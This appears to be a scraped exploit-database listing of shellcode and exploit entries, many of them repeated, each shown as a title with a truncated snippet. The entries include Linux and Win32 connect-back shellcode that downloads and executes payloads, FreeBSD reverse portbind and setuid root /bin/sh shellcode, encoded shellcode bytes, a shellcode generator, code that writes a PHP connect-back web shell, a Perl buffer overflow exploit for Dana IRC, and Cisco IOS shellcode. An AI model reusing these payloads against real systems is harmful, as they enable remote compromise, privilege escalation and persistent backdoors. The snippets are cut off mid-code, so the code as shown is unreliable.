linux/x86 connect back download a file and execute 149 bytes

No description provided by source. / ;file download shellcode 149 bytes ; ;connect back, download a file and execute. ;modify the name of the file and the ip address first. ; ;militan ;Advanced Defense LabADL ; global start start: xor ecx,ecx mul ecx xor ebx,ebx cdq ;socket push eax push byte 0x1...

Dana IRC 1.4a - Remote Buffer Overflow

!/usr/bin/perl ksOSe - 08/24/2008 This is a useless and not portable exploit code, tested only on my winxp-sp3 VM. I was looking for a vuln to write an exploit for when I found this PoC: http://www.milw0rm.com/exploits/5817 The author wrote: "The reason why there isnt any shellcode here is becaus...

win32 connectback, receive, save and execute shellcode

win32 connectback, receive, save and execute shellcode. Shellcode exploit for win32 platform ; ; link - connectback, receive, save and execute shellcode ; ; Copyright c 2004 by loco ; All Rights Reserved ; ; NOTE: Compatible with Windows NT based operating systems. IPv4 only. ; ; .386 .model flat...

linux/x86 connect back, download a file and execute 149 bytes

Exploit for linux/x86 platform in category shellcode ============================================================= linux/x86 connect back, download a file and execute 149 bytes ============================================================= / ;file download shellcode 149 bytes ; ;connect back,...

Version-independent IOS shellcode

No description provided by source. Version-independent IOS shellcode, Andy Davis 2008 No hard-coded IOS addresses required The technique uses 4-byte signatures near references to the required addresses within the IOS "text" memory region. The addresses are then recovered from memory and used with...

linux/x86 shellcode generator / null free

No description provided by source. / BlackLight's shellcode generator for Linux x86 Tested anywhere, working & NULL-free Usage: ./generator cmd ...and then you've got a ready2inject NULL-free shellcode for the command you like copyleft 2008 by BlackLight blacklightatautistici.org...

freebsd/x86 encrypted shellcode /bin/sh 48 bytes

No description provided by source. / Encoded SUB shellcode execve /bin/sh of 48 bytes by [email protected] c0d3z3r0 Hack 'n Roll / char shellcode = "\x31\xd2" "\xeb\x0e" "\x31\xdb" "\x5b" "\xb1\x19" "\x83\x2c\x1a\x01" "\x42" "\xe2\xf9" "\xeb\x05" "\xe8\xed\xff\xff\xff" "\x32\xc1"...

freebsd/x86 setuid(0); execve(ipf -Fa); shellcode 56 bytes

No description provided by source. ; sm4x - 2008 ; setuid0; execve"//sbin/ipf", "//sbin/ipf", "-Faa", 0, 0; ; 56 bytes ; FreeBSD 7.0-RELEASE global start start: main: ; --------------------- setuid 0 xor eax, eax xor ecx, ecx push eax ;0 mov al, 0x17 int 0x80 ; --------------------- -Faa xor eax,...

Version-independent IOS shellcode

Version-independent IOS shellcode. Shellcode exploit for hardware platform Version-independent IOS shellcode, Andy Davis 2008 No hard-coded IOS addresses required The technique uses 4-byte signatures near references to the required addresses within the IOS "text" memory region. The addresses are...

freebsd/x86 setuid(0); execve(ipf -Fa); shellcode 57 bytes

Exploit for freebsd/x86 platform in category shellcode ========================================================== freebsd/x86 setuid0; execveipf -Fa; shellcode 57 bytes ========================================================== ; sm4x - 2008 ; setuid0; execve"//sbin/ipf", "//sbin/ipf", "-Faa", 0,...

Version-independent IOS shellcode

Hi, One of the biggest problems with IOS exploitation is that on every different version of IOS, the addresses required to execute useful shellcode are different. Therefore, hard-coded addresses were inserted into shellcode and this made exploits very version-dependent. I have been working on a w...

Version-independent IOS shellcode

Exploit for hardware platform in category shellcode ================================= Version-independent IOS shellcode ================================= Version-independent IOS shellcode, Andy Davis 2008 No hard-coded IOS addresses required The technique uses 4-byte signatures near references to...

freebsd/x86 reverse portbind /bin/sh 89 bytes

Exploit for freebsd/x86 platform in category shellcode ============================================= freebsd/x86 reverse portbind /bin/sh 89 bytes ============================================= ; sm4x - 2008 ; reverse portbind /bin/sh ; NULL free if address is. ; setuid0; socket; connect; exit; ; ...

freebsd/x86 - setuid0; execveipf -Fa; shellcode 57 bytes

freebsd/x86 setuid0; execveipf -Fa; shellcode 57 bytes. Shellcode exploit for freebsdx86 platform ; sm4x - 2008 ; setuid0; execve"//sbin/ipf", "//sbin/ipf", "-Faa", 0, 0; ; 57 bytes ; FreeBSD 7.0-RELEASE global start start: main: ; --------------------- setuid 0 xor eax, eax xor ecx, ecx push eax...

linux/x86 shellcode generator / null free

Exploit for generator platform in category shellcode ========================================= linux/x86 shellcode generator / null free ========================================= / BlackLight's shellcode generator for Linux x86 Tested anywhere, working & NULL-free Usage: ./generator ...and then...

linux/86 setreuidgeteuid, geteuid + execve/bin/sh shellcode

linux/86 setreuidgeteuid, geteuid + execve/bin/sh shellcode. Shellcode exploit for linx86 platform / setreuidgeteuid, geteuid + execve/bin/sh shellcode - useful for wargames and the like. global start section .text start: ; geteuid push byte 49 pop eax int 0x80 ; setreuid mov ebx, eax mov ecx, ea...

linux/x86 setreuid(geteuid, geteuid) + execve(/bin/sh) shellcode

Exploit for linux/x86 platform in category shellcode =============================================================== linux/x86 setreuidgeteuid, geteuid + execve/bin/sh shellcode =============================================================== / setreuidgeteuid, geteuid + execve/bin/sh shellcode -...

linux/86 setreuid(geteuid geteuid) + execve(/bin/sh) shellcode

No description provided by source. / setreuidgeteuid, geteuid + execve/bin/sh shellcode - useful for wargames and the like. global start section .text start: ; geteuid push byte 49 pop eax int 0x80 ; setreuid mov ebx, eax mov ecx, eax push byte 70 pop eax int 0x80 ; execve xor eax,eax push eax pu...

linux/x86 writes a php connectback shell to the fs 508 bytes

No description provided by source. include stdlib.h / Grayscale Research: Linux Write FS PHP Connect Back Utility Shellcode Function: Opens /var/www/cb.php and writes a php connectback shell to the filesystem. Shellcode Size: 508 bytes No Encodings PHP Shell Usage: // victim...

linux/86 setreuid(geteuid, geteuid) + execve(/bin/sh) shellcode

No description provided by source. / setreuidgeteuid, geteuid + execve/bin/sh shellcode - useful for wargames and the like. global start section .text start: ; geteuid push byte 49 pop eax int 0x80 ; setreuid mov ebx, eax mov ecx, eax push byte 70 pop eax int 0x80 ; execve xor eax,eax push eax pu...